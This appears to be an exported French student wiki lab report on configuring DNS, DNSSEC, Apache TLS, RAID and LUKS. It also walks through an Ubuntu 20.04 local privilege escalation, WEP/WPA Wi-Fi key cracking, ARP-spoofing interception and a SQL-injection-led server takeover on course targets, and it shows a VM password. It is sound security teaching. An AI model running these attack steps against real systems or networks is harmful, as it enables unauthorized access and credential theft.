 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==4.4 Sécurisation de serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
on signe ensuite les enregistrement de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==&lt;br /&gt;
&lt;br /&gt;
Fait, à remplir&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54280</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54280"/>
				<updated>2020-12-06T01:14:12Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
